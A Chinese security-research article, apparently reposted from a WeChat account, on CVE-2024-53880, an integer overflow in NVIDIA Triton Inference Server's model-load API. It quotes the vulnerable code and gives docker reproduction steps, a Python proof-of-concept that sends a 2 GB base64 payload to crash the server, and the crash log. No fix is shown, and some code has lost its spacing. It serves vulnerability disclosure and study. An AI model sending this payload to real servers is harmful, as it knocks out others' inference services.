在当今人工智能飞速发展的时代，推理服务器作为模型部署的关键环节，其安全性至关重要。然而，即使是像NVIDIA Triton Inference Server这样被广泛使用的推理平台，也可能隐藏着潜在的安全隐患。近期，一个整数溢出漏洞（CVE-2024-53880）在Triton Inference Server中被发现，攻击者可以通过精心构造的数据触发该漏洞，导致堆溢出甚至服务崩溃。这不仅引发了安全领域的广泛关注，也提醒我们对软件安全的重视不容忽视。今天，就让我们深入剖析这个漏洞的原理、复现过程以及修复方法，一探究竟。
|
|
|
|
|
|
|---|---|---|---|---|
|
|
|
|
|
|
/v2/repository/models/<model_name>/load to ==convert the param_len variable from size_t to const int type,== triggering an integer overflow in the base64_decode_block function and causing a heap overflow. [1]
[......]size_t param_len = 0; //1、可控参数 RETURN_AND_RESPOND_IF_ERR( req, param_json.MemberAsString(m.c_str(), ¶m_str, ¶m_len)); TRITONSERVER_Parameter* param = nullptr;if (m == "config") { param = TRITONSERVER_ParameterNew( m.c_str(), TRITONSERVER_PARAMETER_STRING, param_str); } elseif (m.rfind("file:", 0) == 0) {// Decode base64 base64_decodestate s; base64_init_decodestate(&s);// The decoded can not be larger than the input... binary_files.emplace_back(std::vector<char>(param_len + 1));size_t decoded_size = base64_decode_block( //2、使用第三方组件 param_str, param_len, binary_files.back().data(), &s);[......]
length_in发生整数溢出并变成一个负数，那么codechar就永远不会等于code_in + length_in，程序将继续执行fragment = base64_decode_value(*codechar++);，导致堆溢出并崩溃。intbase64_decode_block(constchar* code_in, constint length_in, void* plaintext_out, base64_decodestate* state_in){const char* codechar = code_in;char* plainchar = plaintext_out;int fragment; *plainchar = state_in->plainchar;switch (state_in->step) {for(;;) {case step_a:do {if (codechar == code_in+length_in) { state_in->step = step_a; state_in->plainchar = *plainchar;return (int)(plainchar - (char *) plaintext_out); } fragment = base64_decode_value(*codechar++); } while (fragment < 0);[......]
# Step 1: Create the example model repositorygit clone -b r24.10 https://github.com/triton-inference-server/server.gitcd server/docs/examples./fetch_models.sh# Step 2docker pull nvcr.io/nvidia/tritonserver:24.10-py3-
运行命令：docker run --rm -p8000:8000 -p8001:8001 -p8002:8002 -vmodel_repository:/models nvcr.io/nvidia/tritonserver:24.10-py3 tritonserver --model-repository=/models --model-control-mode=explicit --load-model='*' --log-verbose 1
-
运行以下脚本：
import requestsimport jsonimport base64defgenerate_evil_data(): original_data_length = 2147483648 * 3 // 4 random_data = b"A"*original_data_length encoded_data = base64.b64encode(random_data) encoded_length = len(encoded_data) print("Base64 encoded data length: {}".format(encoded_length))assert encoded_length == 2147483648, "Encoded data length does not match the required length."return encoded_datadefpost_payload(targe_url,data): url = f"http://{targe_url}/v2/repository/models/hacker/load" headers = {"Content-Type": "application/json"}# Model configuration model_config = {"name": "hacker","backend": "onnxruntime","inputs": [ {"name": "INPUT0","datatype": "FP32","shape": [1] } ],"outputs": [ {"name": "OUTPUT0","data_type": "TYPE_INT32","dims": [ 16 ], } ] } encoded_model_content = data# Prepare the payload payload = {"parameters": {"config": json.dumps(model_config), # Convert model config to JSON string"file:1/model.onnx": encoded_model_content # Insert the encoded model file } }# Send POST request requests.post(url, headers=headers, json=payload)if __name__=="__main__": payload = generate_evil_data() post_payload("localhost:8000",payload)-
Triton 服务器输出崩溃日志：
I1012 02:17:30.658054 1 infer_handler.h:1391] "Thread started for ModelStreamInferHandler" I1012 02:17:30.658094 1 grpc_server.cc:2558] "Started GRPCInferenceService at 0.0.0.0:8001" I1012 02:17:30.658522 1 http_server.cc:4704] "Started HTTPService at 0.0.0.0:8000" I1012 02:17:30.706378 1 http_server.cc:362] "Started Metrics Service at 0.0.0.0:8002" I1012 02:18:26.729035 1 http_server.cc:4590] "HTTP request: 2 /v2/repository/models/hacker/load" Signal (11) received. 0# 0x00005608852D852D in tritonserver 1# 0x00007FF904109520 in /lib/x86_64-linux-gnu/libc.so.6 2# base64_decode_block in /lib/x86_64-linux-gnu/libb64.so.0d 3# 0x0000560885441723 in tritonserver 4# 0x000056088544577E in tritonserver 5# 0x0000560885AE5BB5 in tritonserver 6# 0x0000560885AEA415 in tritonserver 7# 0x0000560885AE87CE in tritonserver 8# 0x0000560885AF7830 in tritonserver 9# 0x0000560885B00160 in tritonserver 10# 0x0000560885B00BD7 in tritonserver 11# 0x0000560885AEC7A2 in tritonserver 12# 0x00007FF90415BAC3 in /lib/x86_64-linux-gnu/libc.so.6 13#clonein /lib/x86_64-linux-gnu/libc.so.6-
https://drive.google.com/file/d/1pY9lAcfsqHUHPy8DGPnMLfY6jF2yndDS/view?usp=sharing
原文始发于微信公众号（山石网科安全技术研究院）：警惕！NVIDIA Triton推理服务器整数溢出漏洞曝光：原理、复现与修复全解析
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论